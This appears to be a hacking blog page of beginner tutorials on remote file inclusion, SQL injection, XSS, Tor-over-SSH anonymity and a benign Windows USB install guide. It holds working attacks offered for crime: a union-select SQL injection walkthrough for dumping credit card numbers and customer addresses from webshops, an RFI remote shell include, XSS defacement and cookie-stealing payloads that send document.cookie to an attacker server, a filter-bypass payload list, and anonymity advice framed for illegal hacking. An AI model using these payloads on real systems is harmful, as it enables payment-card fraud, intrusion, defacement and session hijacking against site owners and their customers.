Showing posts with label N00b. Show all posts
Showing posts with label N00b. Show all posts

Friday, 26 October 2012

RFI Full Tutorial For All New N00bs

In this Tutorial,

I'll explain 

Intro: What is RFI??



RFI means Remote file inclusion. 
RFI is a type of web application security hole.
On the net, there are so many sites which are vulnerable to RFI.

In this tutorial, I am going to show you RFI with PHP. 
PHP is a web script engine. Its the most widely used one so that's why I am using it in this tutorial.

Learn more about PHP: http://php.net

http://en.wikipedia.org/wiki/PHP


To understand what file inclusion is I am going to show a little example.
This is an example site in PHP:




PHP Code:<?php   $content = “Hello and welcome to the site”;?><html><head><title>Hello world</title></head><body>
<?php echo($content); ?>
</body></html>


This is a very basic page. But as your page expands you might
want to put the individual pages in their own files and include them in
the main file depending on user input.
This way, when you got pages with perhaps 10k lines of PHP code you don't have to use hours looking
for the bit of code you want to edit/view.

By user input I mean things like a URL GET argument. A GET argument could look like this:

HTML 
www.site.com/index.php?page=index

In the above example the PHP script would see the “page=index” and then show the content of “index”. The “index” can be anything, can be a file, SQL value, hard-coded variable. If it is a file, then the PHP script is most likely using the include() function and that is file inclusion.


1.Understanding RFI

So, in the above text I said that file inclusion is including files in another file. Well, that is all right but what does that actually mean?

Well, lets say we got 2 files.
index.php
content.php

The index.php is the file people is going to view when they visit my page. www.site.com as usual. But we want index.php to display the contents of content.php without the user actually visiting content.php.

All you would need to do is put this PHP script in the index.php:
 
 (php)
PHP Code:
<?php include(&#8220;content.php”); ?>

Now we are showing the contents of content.php when the user visits index.php. If content.php was to include more PHP code it would also get executed.

That is it. We just did file inclusion! However, this example is just a dummy page and would most likely not be found in real life.


Lets create a new scenario. A more realistic scenario. We got the following files/pages:

index.php
1.php
2.php
3.php

Now, index.php is again the file the users are going to visit. On the default index we are going to display 3 links.

www.site.com/index.php?page=1
www.site.com/index.php?page=2
www.site.com/index.php?page=3

When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.

The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):

Code: (php)
PHP Code:
if (isset($_GET['page']))
{
   include($_GET['page'] . &#8220;.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');


The content of 1,2 and 3 is not important in this example so I wont say anything about that.

Now, when a user clicks the page1 link he or she is taken to www.site.com/index.php?page=1

The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL + “.php” the same goes for 2 and 3.


Now, what is this “Remote” part in RFI all about? Well, this belongs more in the “exploting RFI vulnerabilities” part of this tutorial but I have to say something short about it now.

The above code is vulnerable to RFI. You can test this by visiting:
www.site.com/index.php?page=4

That would give us an error(assuming the server administrator have not turned off “show errors” in the PHP configuration). The error would look something like this:

Warning: include(page4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3

Warning: include() [function.include]: Failed opening 'page4.php' for inclusion (include_path='.;PATH') in PATH\index.php on line 3

This would tell us that the include() function used in this script is not secured and can be exploited. The way you exploit it is by getting it to include your code so that you can control the server. This is where the “remote” part of RFI comes in. You can create a PHP script and save it as .txt, upload it to a server and then visit something like this:

http://www.site.com/index.php?page=http://hacker.com/shell.txt?

Note that the ? is to get rid of the “.php” at the end as we did not name the file .txt.php and also if you where to try to include a .php file from a remote server it will only give the executed output of the PHP file.

Now we have successfully put out code in the PHP engine of the victim server and we are free to do whatever you can do with PHP. Which is mostly anything.


 2.Finding RFI vulnerabilities


Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. For more advance ones you might need to try things out, this is called blind RFI. As you gain more knowledge about PHP and RFI you will understand how to perform blind RFI's.

Here is a few examples of GET arguments manipulating:

www.site.com/index.php?id=1→
www.site.com/index.php?id=1asdfsaf
www.site.com/index.php?id=index→
www.site.com/index.php?id=fuckkkk
www.site.com/index.php?id=lolzzzz


Use your imagination... And for those who did not understand. The arguments does not need to be “id” or “page” or “site”. It can be anything.

There are more advance versions of RFI like POST argument RFI and even cookie RFI and HTTP header RFI and so on. But these should be easy to understand once you gain more knowledge about the HTTP protocol and TCP/IP with HTTP servers and PHP etc.

3.Exploiting RFI vulnerabilities


Lets say that you have successfully found a vulnerable page.

The URL is www.site.com/index.php?page=index

The PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/shell.txt and we now got our PHP code over to the victims server and it executes.

What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.

Now, there is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will now work and it might perhaps spoil your attack.

4.Securing RFI vulnerabilities


Secure user inputs!!!! And not just those you THINK is used in SQL queries or include functions or etc. ALL user inputs should be secured. You do this by strip/disallow words or phrases or symbols in the user inputs. And the most common solution when it comes to RFI is just to make the page less dynamic and hardcode the pages. If you still want to have a dynamical editable page you MUST make sure you secure the user inputs. Check it for the word “http”, check it for the word “www.”, check it for “../”, check it for “?” etc etc. Disable “show PHP errors” in the PHP configuration. Do a file_exists() check. These are all easy things you can do to prevent RFI(and LFI, but that is again another story).

Here is a example on a dynamic page and a hardcoded page. The dynamic one is not secure, the hardcoded one is.

Dynamic:
PHP Code:
if (isset($_GET['page']))
{
   include($_GET['page'] . “.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}  

Hardcoded:
PHP Code:
if (isset($_GET['page']))
{
   if ($_GET['page'] == “page1”)
      include(“1.php”);

   if ($_GET['page'] == “page2”)
      include(“2.php”);

   if ($_GET['page'] == “page3”)
      include(“3.php”);
}
else
{
   echo('<p><a href="index.php?page=1">page1</a></p>');
   echo('<p><a href="index.php?page=2">page2</a></p>');
   echo('<p><a href="index.php?page=3">page3</a></p>');
}  

Monday, 8 October 2012

Webshop Hacking (Credit Cards)


Hey Guys Its -W1n_h4ck3r


1) we got to search google for webshops , I used this dork :

inurl:customer_testimonials.php testimonial_id=

2)lets say we got this site

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7

3) we got to check if its vulnerable to SQLi , we add this ' to URL

url :

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7'

if we get a error means website its vuln.

4) we have to check for column number we try with 10 first

  +order+by+10-- 

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+order+by+10--

if we dont get a error means the website has more then 10 columns , if we get a error means the website has less then 10 columns

5 )this time we get a error now we try from 1 to 9

   +union+select+1,2,3,4,5,6,7,8,9--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,3,4,5,6,7,8,9--

now we found it the website has 9 columns

6) most of time we can get infos from table 3 and 6 , lets say now we can from 3 xD , now we can get database user , database name and database version in this way :

*- database user

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,user(),4,5,6,7,8,9--

*- database name

 http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,database(),4,5,6,7,8,9--

*- database version

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,version(),4,5,6,7,8,9--

7) we need the table names we add this to url :

 +union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--

 now we need columns : we add this to url :

+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--

9) now all we got to do is view the orders and customers infos (there are the credit cards) : if we add this to url we will get credit card numbers , payment method , credit card type ......

+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9fromorders--

http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9+from+orders--

if we add this to url we will get many infos about costumers , address , phone number , e-mails , zip code , and the credit card infos all of them

+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+

http://www.JustExample.com
/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+


now one step left

10 ) get the credit cards and have fun

This IS Just For Educationlly Purpose

Sunday, 29 April 2012

Stay Anonymous And Secure by SSH Tunneling + TOR [PICTURES]


Hello All,
I know all of you are scared to hack/deface a website without taking precautions.
Most of you must not be having a good VPN which is paid and secure enough to do illegal stuffs. So today i will teach you how to stay completely secure without using any VPN :)

So first ,i would just tell some problems of free VPN's
They are slow and contain ads in most cases
Limited number of proxies
Very insecure
Store logs
Easily Traceable using Logs
Even when they say they do not store logs,they do it
They are not reliable


Tools Needed
TOR
PuTTY

TOR
Free software implementation of second-generation onion routing, a system enabling its users to communicate anonymously on the Internet.



PuTTY
PuTTY is a free implementation of Telnet and SSH for Windows and Unix platforms, along with an xterm terminal emulator.



Open PuTTY.
In The Category, choose Session.
In the Host Name,Type shellmix.com.
Type Port as 30.
Connection Type : SSH.
Now Click Open.
A Black Window will appear.
Enter Username and password as "newuser" [Password appears blank but its typed]



A Black Window Appears
Now enter a Login Name.
Enter a Password.
Enter another password For MySQL Database.
Enter Email Address.
Choose Editor and Enter pico.
Choose language : Enter us.
Choose Vhost : Enter shell.
Enter HDD : Enter hdd1 or hdd2.
Now press Enter to Continue.
Now ,your shell account is ready.Make sure you remember the username and password you created.




SSH TUNNELING
Re-Open PuTTY.
Hostname : shellmix.com.
Port : 22.
Now in category on the left,choose SSH.
Expand it and select Tunnel.
Destination : Dynamic.
Port : Any random port. (Example : 4545)
Click Add.


Click Open.
Enter Login name and Password that you created earlier
Leave this window open
Open TOR
Click Firefox > Options > Advanced > Network > Settings
Click Manual Proxy Configuration
Socks Host : 127.0.0.1
Port : 4545 (The port you used earlier in PuTTY)
Click OK
SSH Tunnel Is Ready.Go to http://www.ip2location.com/ and verify your fake IP







Thanks for reading my tutorial
Hope you will comment like and rep :)

Saturday, 10 September 2011

How To Install Windows 7 Vista From USB Drive 100% working




This Tutorial will show you how to make your USB BOOTABLE for Windows 7/ Vista.


Having a bootable USB is very essential, especially if you are a Notbook user. Using bootable USB to install an operating system (OS) not only makes the 


installation faster, but also saves a DVD.


The main and biggest advantage that Installing windows 7/ Vista From USB is very fast it takes almost 20 to 30 minutes Only.


Note that this bootable USB guide will not work if you are trying to make a bootable USB on XP computer.


For this you require: 


1)Atleast 4Gb USB DRIVE


2) Windows 7/ Vista installation files.


The method is very simple and you can use without any hassles. Needless to say that your motherboard should support USB Boot feature to make use of the bootable USB drive.


Just follow these steps. 


NOTE: write commands correctly with spaces where require.


1) Open Command Prompt as administrator rights.


To access Command Prompt as administrator, Write "cmd" in start menu search box and hit CTRL+SHIFT+ENTER.


2) In Command Prompt write "DISKPART".




3) Now type "List DISK".




4) Now select the disk which is your USB. It may be (Disk 1, disk 2, or Disk 3) so choose carefully. Here mine its Disk 3.
   Format should be right this( select disk 3).




5) Now write "CLEAN" and hit "ENTER".




6) Type"CREATE PARTITION PRIMARY".




7) Type "SELECT PARTITION 1".




8) Type "ACTIVE".




9) Type "FORMAT FS=NTFS". ( Formating will take some time 10 to 15 minutes).




10) Type "ASSIGN".




11) Type "EXIT".




This is how the whole procedure looks.




Dont close Command Prompt as we need it.


Now insert Windows 7/Vista Dvd in the DVD-ROM.


12) Type "D: CD BOOT". (Name the drive which contain windows 7/Vista.)




13) Type "CD BOOT" again.




14) Type "BOOTSECT.EXE /NT60 G:" (Here I wrote G: because after formating in step 9 the drive name wil change automatically so check it before commanding). G: is USB DRIVE.


Given above command is to update the USB drive with BOOTMGR compatible code.






This will show full procedure.




Done. Close Command Prompt and copy Windows 7/Vista DVD contents into USB Drive.


Note: Before using USB as your boot device, Change boot priority from BIOS to USB. If you dont change Boot Priority USB will not Boot.


My Tutorails are fully workable and tested by me so there is no need to worry about anything. I told each and every step so that no one will have any 
problem.

Saturday, 3 September 2011

Cross Site Scripting (XSS) N00b

To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot
of results. Also note that most sites have XSS Vulnerabilities, its just having a good
eye, and some good knowledge on how to bypass there filteration.

Basics of XSS
Well now lets start learning some Actual Methods, the most common used XSS
injection is :

<script>alert("W1n_h4ck3r")</script>

now this will alert a popup message, saying "W1n_h4ck3r" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the
 same thing,

http://website.com/search.php?q=<script>alert("W1n_h4ck3r")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>W1n_h4ck3r</u></b>



How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR
is a tag, that displays the IMAGE linked to it on the webpage.

<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.

<IMG SRC="http://site.com/yourDefaceIMAGE.png">

The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another
method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf"

That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://tools-andtipsbywinhacker.blogspot.com/" )</script>

There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)

How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here: How To Make A Cookie Stealer Php script ?

ok now you have it save it has a .php file and upload to your server, remember to
create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do.
ok now your gonna want to insert this code.

window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie


or


document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie


How to Bypass Filtration ?

Alot of sites may seem vulnerable but not executing the code, well to solve this read
this. Some common methods to bypass filtration is

')alert('xss');


or


");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.
You can also try hexing or base64 encoding your data before you submit, Please note
 its bad practice to use alert("XSS") to test for XSS, because some sites block the
keyword "XSS" before so we using "W1n_h4ck3r".

Some other ways to bypass filtration
website.com/search.php?q="><script>alert('W1n_h4ck3r')</script>
website.com/search.php?q="><script>alert("W1n_h4ck3r")</script>
website.com/search.php?q="><script>alert("W1n_h4ck3r");</script>
website.com/search.php?q="><script>alert(/W1n_h4ck3r");</script>
website.com/search.php?q=//"><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc<script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc"><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc"></script><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc//abc"></script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=000"><script></script><script>alert(W1n_h4ck3r);</script>
website.com/search.php?q=000abc</script><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=--<script>"></script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=pwned<script>document.write('W1n_h4ck3r');</script>
website.com/search.php?q=pwned</script><script>document.write(W1n_h4ck3r);</script>
website.com/search.php?q=pwned')alert(W1n_h4ck3r);//
website.com/search.php?q=pwned";)alert(W1n_h4ck3r);//
website.com/search.php?q=pwned");alert(/W1n_h4ck3r/);//
website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/W1n_h4ck3r/);</script>
website.com/search.php?q="><img src='javascript:alert('W1n_h4ck3r');'>
website.com/search.php?q="><script src='http://Evil js'</script>


Advanced XSS - way to bypass magic quotes filtration:
Ok now we are going to learn about some good techniqes. I have came across many
sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here

ASCII LINK
ASCII LINK 2

This will help you write what you want, In my examples ill be writing "HOC" this is the following code

72 79 67

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

String.fromCharCode()

is suitable for this kinda things, its easy to setup, im gona give it my args below.

String.fromCharCode(72, 79, 67)

Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC".
And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

<script>alert(String.fromCharCode(72, 79, 67))</script>

For More Script Coding Of XSS Visit